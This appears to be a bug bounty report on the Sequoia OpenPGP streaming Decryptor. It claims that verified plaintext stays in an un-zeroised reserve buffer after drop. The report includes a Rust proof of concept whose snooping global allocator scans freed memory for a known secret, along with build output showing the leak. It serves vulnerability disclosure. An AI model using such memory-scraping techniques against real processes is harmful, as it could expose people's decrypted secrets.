[#YWH-PGM8724-140] Streaming decryptor's reserve buffer retains verified plaintext
## Streaming decryptor's reserve buffer retains verified plaintext
`parse::stream::Decryptor` withholds up to `buffer_size` bytes of literal data until all surrounding signatures have been processed. Once the parser reaches EOF, it calls `PacketParser::steal_eof` to stash the verified tail into `self.reserve`, which is just a `Vec<u8>` containing the plaintext payload.【F:openpgp/src/parse/stream.rs†L2637-L2661】【F:buffered-reader/src/lib.rs†L812-L859】 Subsequent reads drain slices out of this vector while advancing `self.cursor`, but the code never zeroises the backing allocation nor swaps the `Vec` out once it has been fully consumed—the field simply lives inside the decryptor until drop.【F:openpgp/src/parse/stream.rs†L2974-L3002】 When `Decryptor` is dropped, the allocator receives a freed chunk that still holds whatever data was buffered for verification, leaking post-processed plaintext to any in-process observer.
## Proof of Concept
- Tested on Ubunto Save payload to `/sequoia/openpgp/examples/POC.rs` and can be executed in sequoia's main directory via
`cargo run --no-default-features --features "crypto-rust,allow-experimental-crypto,allow-variable-time-crypto" --example POC`
````rust
use std::alloc::{GlobalAlloc, Layout, System};
use std::io::Read;
use std::sync::atomic::{AtomicBool, Ordering};
use openpgp::crypto::SessionKey;
use openpgp::packet::{PKESK, SKESK};
use openpgp::parse::stream::{DecryptionHelper, DecryptorBuilder, MessageStructure, VerificationHelper};
use openpgp::parse::Parse;
use openpgp::policy::StandardPolicy;
use openpgp::types::SymmetricAlgorithm;
use openpgp::{Cert, KeyHandle, Result};
use sequoia_openpgp as openpgp;
const SECRET: &[u8] = b"Hello World!";
static LEAKED: AtomicBool = AtomicBool::new(false);
struct SnoopingAlloc;
unsafe impl GlobalAlloc for SnoopingAlloc {
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
System.alloc(layout)
}
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
if layout.size() >= SECRET.len() {
let leaked = std::slice::from_raw_parts(ptr, layout.size());
if leaked.windows(SECRET.len()).any(|window| window == SECRET) {
eprintln!(
"allocator observed decrypted reserve: {}",
String::from_utf8_lossy(SECRET)
);
LEAKED.store(true, Ordering::Relaxed);
}
}
System.dealloc(ptr, layout);
}
}
#[global_allocator]
static A: SnoopingAlloc = SnoopingAlloc;
struct Helper;
impl VerificationHelper for Helper {
fn get_certs(&mut self, _ids: &[KeyHandle]) -> Result<Vec<Cert>> {
Ok(Vec::new())
}
fn check(&mut self, _structure: MessageStructure<'_>) -> Result<()> {
Ok(())
}
}
impl DecryptionHelper for Helper {
fn decrypt(
&mut self,
_pkesks: &[PKESK],
skesks: &[SKESK],
_sym_algo: Option<SymmetricAlgorithm>,
decrypt: &mut dyn FnMut(Option<SymmetricAlgorithm>, &SessionKey) -> bool,
) -> Result<Option<Cert>> {
let (algo, session_key) = skesks[0].decrypt(&"streng geheim".into())?;
decrypt(algo, &session_key);
Ok(None)
}
}
fn main() -> openpgp::Result<()> {
let policy = &StandardPolicy::new();
let helper = Helper;
let message = b"-----BEGIN PGP MESSAGE-----
wy4ECQMIY5Zs8RerVcXp85UgoUKjKkevNPX3WfcS5eb7rkT9I6kw6N2eEc5PJUDh
0j0B9mnPKeIwhp2kBHpLX/en6RfNqYauX9eSeia7aqsd/AOLbO9WMCLZS5d2LTxN
rwwb8Aggyukj13Mi0FF5
=OB/8
-----END PGP MESSAGE-----";
let mut decryptor = DecryptorBuilder::from_bytes(&message[..])?
.with_policy(policy, None, helper)?;
let mut recovered = Vec::new();
decryptor.read_to_end(&mut recovered)?;
assert_eq!(recovered, SECRET);
// Zeroize the buffer
for byte in &mut recovered {
*byte = 0;
}
drop(recovered);
drop(decryptor);
assert!(
LEAKED.load(Ordering::Relaxed),
"reserve buffer contents not observed"
);
Ok(())
}
```
Result in Ubunto :
````
{width="900" height="402"}
````rust
```bash
warning: `sequoia-openpgp` (lib) generated 29 warnings (run `cargo fix --lib -p sequoia-openpgp` to apply 29 suggestions)
Finished `dev` profile [unoptimized + debuginfo] target(s) in 11.31s
warning: the following packages contain code that will be rejected by a future version of Rust: num-bigint-dig v0.8.4
note: to see what the problems were, use the option `--future-incompat-report`, or run `cargo report future-incompatibilities --id 1`
Running `target/debug/examples/O`
allocator observed decrypted reserve: Hello World!
allocator observed decrypted reserve: Hello World!
allocator observed decrypted reserve: Hello World!
allocator observed decrypted reserve: Hello World!
allocator observed decrypted reserve: Hello World!
```
## Impact:
Any consumer that decrypts sensitive messages under the default policy leaks an
entire `buffer_size` window (25 MiB by default) of plaintext every time the decryptor is
dropped, regardless of whether the caller ever requested zeroisation.
````
issue